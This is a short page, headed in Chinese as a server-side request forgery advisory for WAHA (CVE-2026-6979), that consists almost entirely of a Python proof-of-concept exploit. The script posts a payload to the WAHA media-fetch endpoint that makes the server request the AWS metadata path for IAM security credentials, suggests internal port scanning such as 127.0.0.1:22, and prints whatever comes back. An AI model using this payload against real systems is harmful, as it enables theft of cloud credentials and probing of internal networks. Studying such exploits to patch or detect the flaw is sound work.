CVE-2026-6979: WAHA服务端请求伪造漏洞

import requests # CVE-2026-6979 PoC Example for WAHA SSRF # Targeting the vulnerable media controller endpoint target_url = "http://target-ip:port/api/media/fetch" # Replace with actual target # Malicious payload pointing to an internal service (e.g., AWS metadata) # Can also be used to scan internal ports like http://127.0.0.1:22 malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "url": malicious_url } try: print("[*] Sending SSRF payload to WAHA media controller...") response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for sensitive data.") print("[+] Response body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")